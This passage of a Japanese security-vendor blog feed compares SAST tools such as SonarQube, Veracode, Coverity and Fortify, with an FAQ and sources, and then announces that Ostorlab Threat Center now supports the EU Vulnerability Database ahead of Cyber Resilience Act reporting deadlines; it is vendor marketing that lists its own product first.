&lt;li&gt;コード品質とセキュリティを一つの品質ゲートで扱えます。&lt;/li&gt;
&lt;li&gt;セルフホストとSaaSの両方に対応。&lt;/li&gt;
&lt;li&gt;CloudとServerの両方に無料枠があります。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;考慮点&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;セキュリティは、より広いコード品質プラットフォームの一部にすぎません。&lt;/li&gt;
&lt;li&gt;テイント解析とAI CodeFixは有償エディションで提供されます。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;価格&lt;/strong&gt;：&lt;a href="https://www.sonarsource.com/plans-and-pricing/" rel="nofollow noopener noreferrer" target="_blank"&gt;Cloud&lt;/a&gt;は無料枠あり、Teamは月額$34から。Serverはインスタンスごとにコード行数に応じた価格。&lt;/p&gt;
&lt;h3 id="veracode"&gt;Veracode&lt;/h3&gt;
&lt;p&gt;Veracodeは、100+の言語とフレームワークにわたるソースとバイナリのスキャンを、強力なガバナンスとともに必要とする組織のための、エンタープライズ向けSASTプラットフォームです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;最適な利用者&lt;/strong&gt;：幅広い言語とバイナリのカバレッジを、強力なガバナンスとともに必要とする大規模な組織。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.veracode.com/products/static-analysis-sast/" rel="nofollow noopener noreferrer" target="_blank"&gt;Veracode Static Analysis&lt;/a&gt;は100+の言語とフレームワークをカバーし、ソースだけでなくバイナリもスキャンできます。&lt;a href="https://www.veracode.com/products/veracode-fix/" rel="nofollow noopener noreferrer" target="_blank"&gt;Veracode Fix&lt;/a&gt;は、自社開発のコードとオープンソースの依存関係に対する修正を生成し、IDE、CLI、CI/CDパイプラインでプルリクエストを作成します。Veracodeは&lt;a href="https://www.veracode.com/security/static-analysis-tool/" rel="nofollow noopener noreferrer" target="_blank"&gt;誤検知率が1.1%未満であると公表&lt;/a&gt;しています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;強み&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;言語、フレームワーク、バイナリにわたる非常に幅広いカバレッジ。&lt;/li&gt;
&lt;li&gt;大規模なプログラム向けのガバナンスとレポート。&lt;/li&gt;
&lt;li&gt;AI支援型の修復。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;考慮点&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;成熟したAppSecプログラムを持つ組織向けに設計されています。&lt;/li&gt;
&lt;li&gt;小規模な開発チームにとっては機能が過剰な場合があります。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;価格&lt;/strong&gt;：要見積もり。&lt;/p&gt;
&lt;h3 id="black-duck-coverity"&gt;Black Duck Coverity&lt;/h3&gt;
&lt;p&gt;Black Duck Coverityは、大規模なネイティブコードベース、特にCとC++のためのSASTツールで、エアギャップ環境を含め完全にオンプレミスで実行できます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;最適な利用者&lt;/strong&gt;：大規模なネイティブアプリケーション、特にCやC++のアプリケーションを開発している組織。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.blackduck.com/static-analysis-tools-sast/coverity.html" rel="nofollow noopener noreferrer" target="_blank"&gt;Coverity&lt;/a&gt;は、C/C++、CUDA、Fortranを含む&lt;a href="https://www.blackduck.com/static-analysis-tools-sast/languages-and-frameworks.html" rel="nofollow noopener noreferrer" target="_blank"&gt;21〜22言語&lt;/a&gt;と200+のフレームワークに対応しています。エアギャップ環境やKubernetes上を含めてオンプレミスで動作し、SaaSの選択肢としては&lt;a href="https://www.blackduck.com/platform.html" rel="nofollow noopener noreferrer" target="_blank"&gt;Polaris&lt;/a&gt;があります。&lt;a href="https://www.blackduck.com/blog/polaris-assist-ai-powered-appsec-assistant.html" rel="nofollow noopener noreferrer" target="_blank"&gt;Polaris Assist&lt;/a&gt;は、検出結果を要約し、コードの修正を推奨します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;強み&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ネイティブコードの深い解析。&lt;/li&gt;
&lt;li&gt;エアギャップ環境を含め、完全にオンプレミスで運用可能。&lt;/li&gt;
&lt;li&gt;オープンソースプロジェクト向けの無料の&lt;a href="https://scan.coverity.com/" rel="nofollow noopener noreferrer" target="_blank"&gt;Coverity Scan&lt;/a&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;考慮点&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;最も力を発揮するのはネイティブのコードベースです。&lt;/li&gt;
&lt;li&gt;クラウドネイティブなチームには、開発者のワークフローを中心に作られたツールの方が適している場合があります。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;価格&lt;/strong&gt;：要見積もり。&lt;/p&gt;
&lt;h3 id="opentext-fortify"&gt;OpenText Fortify&lt;/h3&gt;
&lt;p&gt;OpenText Fortifyは、SaaS、プライベートホスト、完全なオンプレミスの中からデプロイ形態を選ぶ必要がある、確立されたAppSecプログラムのためのエンタープライズ向けSASTプラットフォームです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;最適な利用者&lt;/strong&gt;：確立されたアプリケーションセキュリティプログラムを持つ企業。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.opentext.com/products/fortify-static-code-analyzer" rel="nofollow noopener noreferrer" target="_blank"&gt;Fortify Static Code Analyzer&lt;/a&gt;は、44+言語と350+のフレームワークに対応しています。&lt;a href="https://www.opentext.com/products/static-application-security-testing" rel="nofollow noopener noreferrer" target="_blank"&gt;SaaS、プライベートホスト、または完全なオンプレミス&lt;/a&gt;で利用できます。&lt;a href="https://www.opentext.com/products/application-security-aviator" rel="nofollow noopener noreferrer" target="_blank"&gt;Fortify Remediation Aviator&lt;/a&gt;は、SASTの検出結果を監査し、誤検知の可能性が高いものを抑制し、コードの修正を提案します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;強み&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;成熟したエンタープライズ向けAppSecプラットフォーム。&lt;/li&gt;
&lt;li&gt;SaaS、プライベートホスト、オンプレミスから選択可能。&lt;/li&gt;
&lt;li&gt;AI支援型の監査と修正。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;考慮点&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;専任のAppSecチームを持つ組織に最も適しています。&lt;/li&gt;
&lt;li&gt;軽量な開発者向けツールと比べて、セットアップと管理の手間が多くかかります。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;価格&lt;/strong&gt;：要見積もり。&lt;/p&gt;
&lt;h2 id="snyk codeとcheckmarxの代替となるおすすめツール"&gt;Snyk CodeとCheckmarxの代替となるおすすめツール&lt;/h2&gt;
&lt;p&gt;Snyk Codeの主な代替ツールは、Ostorlab、GitHub Advanced Security（CodeQL）、Checkmarx One、Semgrep、SonarQubeです。Checkmarx Oneの主な代替ツールは、Ostorlab、Snyk Code、GitHub Advanced Security、Veracode、OpenText Fortifyです。詳しい比較は、&lt;a href="https://blog.ostorlab.co/snyk-checkmarx-github-advanced-security-alternatives.html"&gt;SnykとCheckmarxの代替ツール：Ostorlab、Snyk Code、Checkmarx One、GitHub Advanced Securityの比較&lt;/a&gt;をご覧ください。&lt;/p&gt;
&lt;h2 id="よくある質問"&gt;よくある質問&lt;/h2&gt;
&lt;h3 id="2026年のおすすめsastツールは"&gt;2026年のおすすめSASTツールは&lt;/h3&gt;
&lt;p&gt;2026年のおすすめSASTツールは、Ostorlab、GitHub Code Security（CodeQL）、Semgrep、Snyk Code、Checkmarx One、SonarQube、Veracode、Black Duck Coverity、OpenText Fortifyです。Ostorlabは悪用可能であることが実証された検出結果を求めるチームに、GitHub Code SecurityはGitHubを利用するチームに、Semgrepはカスタムルールを書くチームに、Snyk Codeはコードエディターで作業する開発者に、そしてCheckmarx One、Veracode、OpenText Fortifyは成熟したAppSecプログラムを持つ企業に適しています。&lt;/p&gt;
&lt;h3 id="ostorlabはsastツールか"&gt;OstorlabはSASTツールか&lt;/h3&gt;
&lt;p&gt;はい。Ostorlabは、固定のルールセットではなくAIエージェントを用いて、SASTツールと同様にソースコードの脆弱性をスキャンします。さらにWebアプリ、API、モバイルアプリもテストするため、稼働中のアプリに対して実際に動作するエクスプロイトによってコード上の検出結果を確定できます。&lt;/p&gt;
&lt;h3 id="sast、sca、ソースコードスキャンの違いは"&gt;SAST、SCA、ソースコードスキャンの違いは&lt;/h3&gt;
&lt;p&gt;SAST（静的アプリケーションセキュリティテスト）は、自社のソースコードを解析して脆弱性を探します。SCA（ソフトウェア構成分析）は、オープンソースの依存関係に既知の脆弱性がないかを確認します。ソースコードスキャンのプラットフォームは通常、SAST、SCA、シークレット検出を組み合わせており、Ostorlabのように稼働中のアプリもテストするものもあります。&lt;/p&gt;
&lt;h3 id="誤検知が最も少ないsastツールは"&gt;誤検知が最も少ないSASTツールは&lt;/h3&gt;
&lt;p&gt;ベンダーごとに誤検知の測定方法が異なるため、公表されている数値を直接比較することはできません。Veracodeは誤検知率が1.1%未満であると公表しており、SemgrepはAIトリアージによる誤検知の見極めの精度が95%を超えるとしています。Ostorlabは別の方法でノイズを減らします。稼働中のアプリがスコープに含まれている場合、エージェントが実際に動作するエクスプロイトによって各検出結果を確定します。最も公平なテストは、同じコードベースで2つのツールを実行することです。&lt;/p&gt;
&lt;h3 id="githubに最適なsastツールは"&gt;GitHubに最適なSASTツールは&lt;/h3&gt;
&lt;p&gt;GitHub上のコードに対しては、GitHub Code Security（CodeQL）が最も統合された選択肢です。Ostorlab、Semgrep、Snyk Code、Checkmarx One、SonarQubeも、GitHubのリポジトリをスキャンし、プルリクエスト上で結果を報告します。&lt;/p&gt;
&lt;h3 id="無料のsastツールはあるか"&gt;無料のSASTツールはあるか&lt;/h3&gt;
&lt;p&gt;はい。SemgrepにはオープンソースのCommunity Editionと、コントリビューター10人までの無料枠があります。SonarQubeには無料のCommunity Buildと無料のCloud枠があり、Snyk Codeには無料プランがあり、Black Duckはオープンソースプロジェクト向けに無料のCoverity Scanを提供しています。&lt;/p&gt;
&lt;h3 id="snyk codeとcheckmarxの代替となるおすすめツールは"&gt;Snyk CodeとCheckmarxの代替となるおすすめツールは&lt;/h3&gt;
&lt;p&gt;Snyk Codeの主な代替ツールは、Ostorlab、GitHub Advanced Security（CodeQL）、Checkmarx One、Semgrep、SonarQubeです。Checkmarx Oneの主な代替ツールは、Ostorlab、Snyk Code、GitHub Advanced Security、Veracode、OpenText Fortifyです。&lt;/p&gt;
&lt;h3 id="sastの修正が機能したかを確認するには"&gt;SASTの修正が機能したかを確認するには&lt;/h3&gt;
&lt;p&gt;修正後にコードを再スキャンします。Ostorlabでは、各検出結果がチケットで追跡されます。チケットが修正済みとしてマークされると、以降のスキャンでそれを確認し、問題が解消されていれば検証済みとしてマークし、問題が再発すればチケットを再オープンします。&lt;/p&gt;
&lt;h2 id="sources"&gt;出典&lt;/h2&gt;
&lt;p&gt;2026年10月7日に確認。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Ostorlab&lt;/strong&gt;：&lt;a href="https://ostorlab.co/product/source-code"&gt;ソースコードスキャン&lt;/a&gt;、&lt;a href="https://ostorlab.co/product/multi-asset"&gt;マルチアセットスキャン&lt;/a&gt;、&lt;a href="https://ostorlab.co/product/on-premises-scanning/source-code"&gt;オンプレミスのソースコードスキャン&lt;/a&gt;、&lt;a href="https://ostorlab.co/plans"&gt;料金プラン&lt;/a&gt;、&lt;a href="https://docs.ostorlab.co/tutorials/understand_scan_results.html"&gt;スキャン結果と修正の追跡について&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;GitHub&lt;/strong&gt;：&lt;a href="https://github.com/security/plans" rel="nofollow noopener noreferrer" target="_blank"&gt;GitHub Securityのプラン&lt;/a&gt;、&lt;a href="https://docs.github.com/en/code-security/code-scanning/introduction-to-code-scanning/about-code-scanning-with-codeql" rel="nofollow noopener noreferrer" target="_blank"&gt;CodeQLによるコードスキャンについて&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Semgrep&lt;/strong&gt;：&lt;a href="https://docs.semgrep.dev/supported-languages" rel="nofollow noopener noreferrer" target="_blank"&gt;対応言語&lt;/a&gt;、&lt;a href="https://docs.semgrep.dev/semgrep-assistant/overview" rel="nofollow noopener noreferrer" target="_blank"&gt;Semgrep Multimodal&lt;/a&gt;、&lt;a href="https://docs.semgrep.dev/deployment/add-semgrep-to-ci" rel="nofollow noopener noreferrer" target="_blank"&gt;SemgrepをCIに追加する&lt;/a&gt;、&lt;a href="https://semgrep.dev/pricing" rel="nofollow noopener noreferrer" target="_blank"&gt;価格&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Snyk&lt;/strong&gt;：&lt;a href="https://docs.snyk.io/supported-languages/supported-languages-list" rel="nofollow noopener noreferrer" target="_blank"&gt;対応言語&lt;/a&gt;、&lt;a href="https://docs.snyk.io/developer-tools/snyk-ide-plugins-and-extensions" rel="nofollow noopener noreferrer" target="_blank"&gt;IDEプラグイン&lt;/a&gt;、&lt;a href="https://snyk.io/plans/" rel="nofollow noopener noreferrer" target="_blank"&gt;料金プラン&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Checkmarx&lt;/strong&gt;：&lt;a href="https://checkmarx.com/product/application-security-platform/" rel="nofollow noopener noreferrer" target="_blank"&gt;Checkmarx One&lt;/a&gt;、&lt;a href="https://docs.checkmarx.com/en/34965-149060-sast-scanner---supported-languages-and-frameworks.html" rel="nofollow noopener noreferrer" target="_blank"&gt;SASTの対応言語&lt;/a&gt;、&lt;a href="https://checkmarx.com/cxsast-source-code-scanning/" rel="nofollow noopener noreferrer" target="_blank"&gt;CxSAST&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SonarQube&lt;/strong&gt;：&lt;a href="https://www.sonarsource.com/products/sonarqube/" rel="nofollow noopener noreferrer" target="_blank"&gt;SonarQube&lt;/a&gt;、&lt;a href="https://www.sonarsource.com/solutions/security/" rel="nofollow noopener noreferrer" target="_blank"&gt;セキュリティ&lt;/a&gt;、&lt;a href="https://www.sonarsource.com/solutions/ai/ai-codefix/" rel="nofollow noopener noreferrer" target="_blank"&gt;AI CodeFix&lt;/a&gt;、&lt;a href="https://www.sonarsource.com/plans-and-pricing/" rel="nofollow noopener noreferrer" target="_blank"&gt;プランと価格&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Veracode&lt;/strong&gt;：&lt;a href="https://www.veracode.com/products/static-analysis-sast/" rel="nofollow noopener noreferrer" target="_blank"&gt;Static Analysis&lt;/a&gt;、&lt;a href="https://www.veracode.com/products/veracode-fix/" rel="nofollow noopener noreferrer" target="_blank"&gt;Veracode Fix&lt;/a&gt;、&lt;a href="https://www.veracode.com/security/static-analysis-tool/" rel="nofollow noopener noreferrer" target="_blank"&gt;誤検知率&lt;/a&gt;、&lt;a href="https://docs.veracode.com/r/c_integration_buildservs" rel="nofollow noopener noreferrer" target="_blank"&gt;CI/CD連携&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Black Duck&lt;/strong&gt;：&lt;a href="https://www.blackduck.com/static-analysis-tools-sast/coverity.html" rel="nofollow noopener noreferrer" target="_blank"&gt;Coverity&lt;/a&gt;、&lt;a href="https://www.blackduck.com/static-analysis-tools-sast/languages-and-frameworks.html" rel="nofollow noopener noreferrer" target="_blank"&gt;言語とフレームワーク&lt;/a&gt;、&lt;a href="https://www.blackduck.com/blog/polaris-assist-ai-powered-appsec-assistant.html" rel="nofollow noopener noreferrer" target="_blank"&gt;Polaris Assist&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;OpenText&lt;/strong&gt;：&lt;a href="https://www.opentext.com/products/fortify-static-code-analyzer" rel="nofollow noopener noreferrer" target="_blank"&gt;Fortify Static Code Analyzer&lt;/a&gt;、&lt;a href="https://www.opentext.com/products/static-application-security-testing" rel="nofollow noopener noreferrer" target="_blank"&gt;SASTのデプロイの選択肢&lt;/a&gt;、&lt;a href="https://www.opentext.com/products/application-security-aviator" rel="nofollow noopener noreferrer" target="_blank"&gt;Fortify Remediation Aviator&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="自社のコードで確かめる"&gt;自社のコードで確かめる&lt;/h2&gt;
&lt;p&gt;SASTツールを比較する最善の方法は、同じコードベースでそれらを実行することです。&lt;a href="https://ostorlab.co/product/source-code"&gt;ソースコードスキャンを実行&lt;/a&gt;して、現在お使いのツールと検出結果を比較するか、&lt;a href="https://ostorlab.co/bake-off"&gt;同じアプリでOstorlabと現在のツールを比較&lt;/a&gt;してください。&lt;/p&gt;
&lt;script type="application/ld+json"&gt;
{
  "@context": "https://schema.org",
  "@graph": [
    {
      "@type": "ItemList",
      "@id": "https://blog.ostorlab.co/best-source-code-scanning-tools-2026.html#tools",
      "name": "2026年のおすすめSASTツール",
      "itemListOrder": "https://schema.org/ItemListUnordered",
      "numberOfItems": 9,
      "itemListElement": [
        {
          "@type": "ListItem",
          "position": 1,
          "item": {
            "@type": "SoftwareApplication",
            "name": "Ostorlab",
            "applicationCategory": "SecurityApplication",
            "description": "Ostorlabは、悪用可能であることが実証された検出結果を求めるチームのためのSASTツールです。AIエージェントがソースコードをレビューして脆弱性やロジックの欠陥を探し、稼働中のWebアプリ、API、モバイルアプリが同じスキャンに含まれている場合は、実際に動作するエクスプロイトによって検出結果を確定します。",
            "url": "https://blog.ostorlab.co/best-source-code-scanning-tools-2026.html#ostorlab"
          }
        },
        {
          "@type": "ListItem",
          "position": 2,
          "item": {
            "@type": "SoftwareApplication",
            "name": "GitHub Code Security (CodeQL)",
            "applicationCategory": "SecurityApplication",
            "description": "GitHub Code Security（CodeQL）は、コードとプルリクエストをGitHubで管理しているチームのためのSASTツールで、CodeQLによるコードスキャンとCopilot Autofixがプルリクエストに組み込まれています。",
            "url": "https://blog.ostorlab.co/best-source-code-scanning-tools-2026.html#github-code-security-codeql"
          }
        },
        {
          "@type": "ListItem",
          "position": 3,
          "item": {
            "@type": "SoftwareApplication",
            "name": "Semgrep",
            "applicationCategory": "SecurityApplication",
            "description": "Semgrepは、高速なスキャンと自分たちで書くカスタムルールを求めるチームのためのSASTツールで、オープンソースのCommunity Editionも提供されています。",
            "url": "https://blog.ostorlab.co/best-source-code-scanning-tools-2026.html#semgrep"
          }
        },
        {
          "@type": "ListItem",
          "position": 4,
          "item": {
            "@type": "SoftwareApplication",
            "name": "Snyk Code",
            "applicationCategory": "SecurityApplication",
            "description": "Snyk Codeは、コードエディターとプルリクエストでセキュリティに関するフィードバックを得たいチームのための、開発者ファーストのSASTツールです。",
            "url": "https://blog.ostorlab.co/best-source-code-scanning-tools-2026.html#snyk-code"
          }
        },
        {
          "@type": "ListItem",
          "position": 5,
          "item": {
            "@type": "SoftwareApplication",
            "name": "Checkmarx One",
            "applicationCategory": "SecurityApplication",
            "description": "Checkmarx Oneは、幅広い言語カバレッジ、一元的なガバナンス、監査レポートを必要とするAppSecチームのための、エンタープライズ向けSASTプラットフォームです。",
            "url": "https://blog.ostorlab.co/best-source-code-scanning-tools-2026.html#checkmarx-one"
          }
        },
        {
          "@type": "ListItem",
          "position": 6,
          "item": {
            "@type": "SoftwareApplication",
            "name": "SonarQube",
            "applicationCategory": "SecurityApplication",
            "description": "SonarQubeは、コード品質ゲートの中でセキュリティチェックを行いたいチームのためのSASTツールで、セルフホストのServerエディションとSaaSのCloudエディションがあります。",
            "url": "https://blog.ostorlab.co/best-source-code-scanning-tools-2026.html#sonarqube"
          }
        },
        {
          "@type": "ListItem",
          "position": 7,
          "item": {
            "@type": "SoftwareApplication",
            "name": "Veracode",
            "applicationCategory": "SecurityApplication",
            "description": "Veracodeは、100+の言語とフレームワークにわたるソースとバイナリのスキャンを、強力なガバナンスとともに必要とする組織のための、エンタープライズ向けSASTプラットフォームです。",
            "url": "https://blog.ostorlab.co/best-source-code-scanning-tools-2026.html#veracode"
          }
        },
        {
          "@type": "ListItem",
          "position": 8,
          "item": {
            "@type": "SoftwareApplication",
            "name": "Black Duck Coverity",
            "applicationCategory": "SecurityApplication",
            "description": "Black Duck Coverityは、大規模なネイティブコードベース、特にCとC++のためのSASTツールで、エアギャップ環境を含め完全にオンプレミスで実行できます。",
            "url": "https://blog.ostorlab.co/best-source-code-scanning-tools-2026.html#black-duck-coverity"
          }
        },
        {
          "@type": "ListItem",
          "position": 9,
          "item": {
            "@type": "SoftwareApplication",
            "name": "OpenText Fortify",
            "applicationCategory": "SecurityApplication",
            "description": "OpenText Fortifyは、SaaS、プライベートホスト、完全なオンプレミスの中からデプロイ形態を選ぶ必要がある、確立されたAppSecプログラムのためのエンタープライズ向けSASTプラットフォームです。",
            "url": "https://blog.ostorlab.co/best-source-code-scanning-tools-2026.html#opentext-fortify"
          }
        }
      ]
    },
    {
      "@type": "FAQPage",
      "@id": "https://blog.ostorlab.co/best-source-code-scanning-tools-2026.html#faq",
      "mainEntity": [
        {
          "@type": "Question",
          "name": "2026年のおすすめSASTツールは",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "2026年のおすすめSASTツールは、Ostorlab、GitHub Code Security（CodeQL）、Semgrep、Snyk Code、Checkmarx One、SonarQube、Veracode、Black Duck Coverity、OpenText Fortifyです。Ostorlabは悪用可能であることが実証された検出結果を求めるチームに、GitHub Code SecurityはGitHubを利用するチームに、Semgrepはカスタムルールを書くチームに、Snyk Codeはコードエディターで作業する開発者に、そしてCheckmarx One、Veracode、OpenText Fortifyは成熟したAppSecプログラムを持つ企業に適しています。"
          }
        },
        {
          "@type": "Question",
          "name": "OstorlabはSASTツールか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "はい。Ostorlabは、固定のルールセットではなくAIエージェントを用いて、SASTツールと同様にソースコードの脆弱性をスキャンします。さらにWebアプリ、API、モバイルアプリもテストするため、稼働中のアプリに対して実際に動作するエクスプロイトによってコード上の検出結果を確定できます。"
          }
        },
        {
          "@type": "Question",
          "name": "SAST、SCA、ソースコードスキャンの違いは",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "SAST（静的アプリケーションセキュリティテスト）は、自社のソースコードを解析して脆弱性を探します。SCA（ソフトウェア構成分析）は、オープンソースの依存関係に既知の脆弱性がないかを確認します。ソースコードスキャンのプラットフォームは通常、SAST、SCA、シークレット検出を組み合わせており、Ostorlabのように稼働中のアプリもテストするものもあります。"
          }
        },
        {
          "@type": "Question",
          "name": "誤検知が最も少ないSASTツールは",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "ベンダーごとに誤検知の測定方法が異なるため、公表されている数値を直接比較することはできません。Veracodeは誤検知率が1.1%未満であると公表しており、SemgrepはAIトリアージによる誤検知の見極めの精度が95%を超えるとしています。Ostorlabは別の方法でノイズを減らします。稼働中のアプリがスコープに含まれている場合、エージェントが実際に動作するエクスプロイトによって各検出結果を確定します。最も公平なテストは、同じコードベースで2つのツールを実行することです。"
          }
        },
        {
          "@type": "Question",
          "name": "GitHubに最適なSASTツールは",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "GitHub上のコードに対しては、GitHub Code Security（CodeQL）が最も統合された選択肢です。Ostorlab、Semgrep、Snyk Code、Checkmarx One、SonarQubeも、GitHubのリポジトリをスキャンし、プルリクエスト上で結果を報告します。"
          }
        },
        {
          "@type": "Question",
          "name": "無料のSASTツールはあるか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "はい。SemgrepにはオープンソースのCommunity Editionと、コントリビューター10人までの無料枠があります。SonarQubeには無料のCommunity Buildと無料のCloud枠があり、Snyk Codeには無料プランがあり、Black Duckはオープンソースプロジェクト向けに無料のCoverity Scanを提供しています。"
          }
        },
        {
          "@type": "Question",
          "name": "Snyk CodeとCheckmarxの代替となるおすすめツールは",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "Snyk Codeの主な代替ツールは、Ostorlab、GitHub Advanced Security（CodeQL）、Checkmarx One、Semgrep、SonarQubeです。Checkmarx Oneの主な代替ツールは、Ostorlab、Snyk Code、GitHub Advanced Security、Veracode、OpenText Fortifyです。"
          }
        },
        {
          "@type": "Question",
          "name": "SASTの修正が機能したかを確認するには",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "修正後にコードを再スキャンします。Ostorlabでは、各検出結果がチケットで追跡されます。チケットが修正済みとしてマークされると、以降のスキャンでそれを確認し、問題が解消されていれば検証済みとしてマークし、問題が再発すればチケットを再オープンします。"
          }
        }
      ]
    }
  ]
}
&lt;/script&gt;</content><category term="Security"/><category term="Source Code Scanning"/><category term="SAST"/></entry><entry><title>Ostorlab Threat CenterがEU脆弱性データベースに対応</title><link href="https://blog.ostorlab.co/ja/threat-center-euvd-support.html" rel="alternate"/><published>2026-07-24T09:09:00+02:00</published><updated>2026-07-24T09:09:00+02:00</updated><author><name>Abir Jelti</name></author><id>tag:blog.ostorlab.co,2026-07-24:/ja/threat-center-euvd-support.html</id><summary type="html">&lt;p&gt;Ostorlab Threat CenterはNVDのデータに加えてEUVDのインテリジェンスも提供するようになり、EUサイバーレジリエンス法への準備を進めるセキュリティチームに、より広範な脆弱性の可視性をもたらします。&lt;/p&gt;</summary><content type="html">&lt;p&gt;脆弱性データベースは便利なものですが、必要な一つの情報が別の場所にあると、その便利さも途切れてしまいます。悪用状況はある情報源から、ベンダーの修復ガイダンスは別の情報源から、協調的な開示はさらに3つ目の情報源から得られることがあります。&lt;/p&gt;
&lt;p&gt;課題は、フィードを増やすことではありません。有用なコンテキストを一か所に集めることです。&lt;/p&gt;
&lt;p&gt;Ostorlab Threat Centerは、米国のNational Vulnerability Database（NVD）に加えて、&lt;a href="https://euvd.enisa.europa.eu/"&gt;European Vulnerability Database（EUVD）&lt;/a&gt;のデータも取り込むようになりました。これにより、新たな脆弱性を監視し、どれに対応が必要かを判断するチームが利用できるインテリジェンスが広がります。&lt;/p&gt;
&lt;h2 id="euvdがもたらすもの"&gt;EUVDがもたらすもの&lt;/h2&gt;
&lt;p&gt;ENISAが開発・保守するEUVDは、ICT製品・サービスに影響する脆弱性情報を集約しています。レコードには、影響を受ける製品とバージョン、重大度、悪用状況、利用可能なパッチ、緩和策のガイダンスが含まれる場合があります。また、このデータベースでは、クリティカルな脆弱性、実際に悪用されている脆弱性、EUで協調対応された脆弱性が強調表示されます。&lt;/p&gt;
&lt;p&gt;NVDは、標準化された脆弱性データの重要な情報源であり続けています。EUVDは、欧州の脆弱性エコシステムからのインテリジェンスとガイダンスでそれを補完します。2つの情報源を組み合わせることで、Threat Centerのユーザーは、新たに開示されたリスクや実際に悪用されているリスクをより広く把握できます。&lt;/p&gt;
&lt;h2 id="サイバーレジリエンス法にとって重要な理由"&gt;サイバーレジリエンス法にとって重要な理由&lt;/h2&gt;
&lt;p&gt;タイミングが重要です。&lt;a href="https://digital-strategy.ec.europa.eu/en/policies/cra-reporting"&gt;EUサイバーレジリエンス法（CRA）&lt;/a&gt;のもとでは、デジタル要素を備えた製品の製造者は、製品のサポート期間を通じて脆弱性に対処するためのプロセスを維持しなければなりません。&lt;/p&gt;
&lt;p&gt;2026年9月11日からは、製造者は、実際に悪用されている脆弱性と重大なセキュリティインシデントも報告しなければなりません。認識してから24時間以内に早期警告を行い、続いて72時間以内により詳細な通知を行うことが求められます。&lt;/p&gt;
&lt;p&gt;こうした期限を守るための取り組みは、報告書を提出するより前から始まります。チームは、関連する脆弱性が存在することを把握し、自社の製品が影響を受けるかどうかを判断し、調査と修復の優先順位を付ける必要があります。&lt;/p&gt;
&lt;h2 id="インテリジェンスから行動へ"&gt;インテリジェンスから行動へ&lt;/h2&gt;
&lt;p&gt;Threat Centerは、チームがすでにエクスポージャーの監視に使っているのと同じワークフローに、こうした情報を取り込みます。脆弱性を確認し、影響を受ける可能性のあるアセットを特定し、対象を絞ったスキャンを開始して、そのリスクが自社の環境に存在するかどうかを検証できます。&lt;/p&gt;
&lt;p&gt;EUVDへの対応だけで、組織がCRAに準拠できるわけではありません。ただし、コンプライアンスを支える基盤の一つ、すなわち実際のアセットと明確なフォローアップ対応に結びついた、タイムリーで信頼性の高い脆弱性監視を強化します。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://report.ostorlab.co/"&gt;Ostorlab Threat Centerを開いて&lt;/a&gt;、現在の脆弱性を確認し、自社のエクスポージャーを検証しましょう。&lt;/p&gt;</content><category term="Product"/><category term="Security"/><category term="Compliance"/><category term="Mobile Security"/><category term="EUVD"/></entry><entry><title>検出結果だけでなくエビデンスを生み出すAIペンテストのプロンプト</title><link href="https://blog.ostorlab.co/ja/ai-pentesting-evidence-workflows.html" rel="alternate"/><published>2026-07-23T16:00:00+02:00</published><updated>2026-07-23T16:00:00+02:00</updated><author><name>Mohammed Lachhab</name></author><id>tag:blog.ostorlab.co,2026-07-23:/ja/ai-pentesting-evidence-workflows.html</id><summary type="html">&lt;p&gt;構造化された出力、検証ゲート、制御された実行を通じて、スコープを限定したエビデンスをレビュー可能な検出結果へと変える、AI支援型セキュリティテストのワークフロー設計に関する実践ガイドです。&lt;/p&gt;</summary><content type="html">&lt;h2 id="モデルに脆弱性の発見を依頼する"&gt;モデルに脆弱性の発見を依頼する&lt;/h2&gt;
